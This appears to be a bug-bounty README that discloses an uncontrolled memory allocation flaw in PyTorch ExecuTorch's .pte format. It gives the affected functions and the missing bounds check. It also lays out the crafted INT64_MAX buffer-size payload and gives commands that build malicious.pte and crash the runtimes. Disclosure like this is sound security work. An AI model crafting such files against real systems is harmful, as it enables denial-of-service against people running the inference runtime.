File size: 2,899 Bytes
09ac263
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
# ExecuTorch CWE-789: Uncontrolled Memory Allocation in .pte Format

## Status: FINDING CONFIRMED β€” READY TO SUBMIT

## Severity: High (P2) β€” DoS | CVSS 7.5

## Target
- **Repo:** pytorch/executorch
- **Platform:** huntr.com
- **Format:** `.pte` (FlatBuffers-based PyTorch Edge inference format)

## Vulnerable Files

| File | Function | Issue |
|---|---|---|
| `runtime/executor/method_meta.cpp` | `MethodMeta::memory_planned_buffer_size()` | Reads `non_const_buffer_sizes[index+1]` from FlatBuffer; only checks `>= 0`, no upper-bound cap |
| `extension/pybindings/pybindings.cpp` | `PyProgram` constructor | `std::vector<uint8_t>(buffer_size)` with uncapped attacker value β†’ `std::bad_alloc` |
| `examples/portable/executor_runner/executor_runner.cpp` | buffer allocation loop | `std::make_unique<uint8_t[]>(buffer_size)` with uncapped attacker value β†’ OOM crash |

## Missing Check

```cpp
// Present in memory_planned_buffer_size():
ET_CHECK_OR_RETURN_ERROR(size >= 0, InvalidProgram, ...);  // rejects negatives

// MISSING:
constexpr int64_t kMaxPlannedBufferSize = 32LL * 1024 * 1024 * 1024;
ET_CHECK_OR_RETURN_ERROR(size <= kMaxPlannedBufferSize, InvalidProgram, ...);
```

## FlatBuffer Field

```
table ExecutionPlan {
  ...
  non_const_buffer_sizes: [int64];  // field index 8 β€” attacker-controlled
}
```

**Index note:** Index 0 of the vector is reserved internally.  
`memory_planned_buffer_size(j)` reads `non_const_buffer_sizes[j + 1]`.  
Malicious payload uses 2 elements: `[0, INT64_MAX]`.

## Attack

Attacker crafts a `.pte` with:
```
Program.execution_plan[0].non_const_buffer_sizes = [0, 9223372036854775807]
```

Victim loads the file β†’ runtime reads INT64_MAX β†’ allocates INT64_MAX bytes β†’ crash.

## PoC Files

| File | Purpose |
|---|---|
| `poc_executorch_oom.py` | Builds `malicious.pte` and triggers OOM |
| `malicious.pte` | 104-byte crafted FlatBuffer (generated by script) |
| `poc-evidence.html` | Evidence page with real run output |
| `report_final.md` | Submission-ready huntr report |

## Reproduction

```bash
# Dependency
pip install flatbuffers --break-system-packages

# Build malicious.pte and trigger allocation
python3 poc_executorch_oom.py
```

Expected output (allocation simulation):
```
[*] Saved malicious.pte (104 bytes)
[*] File identifier at offset 4: b'ET12'
[+] MemoryError  ← confirmed OOM (equivalent to std::bad_alloc in C++ runtime)
```

Binary verification:
```
File size     : 104 bytes
File ident    : b'ET12'
INT64_MAX pos : byte 80  value=ffffffffffffff7f
```

## Full Runtime Crash (requires executorch installed)

```bash
# Option A β€” Python runtime
pip install executorch
python3 poc_executorch_oom.py
# β†’ MemoryError / SystemError (std::bad_alloc wrapped)

# Option B β€” C++ executor_runner
./executor_runner --model_path malicious.pte
# β†’ terminate called after throwing an instance of 'std::bad_alloc'
```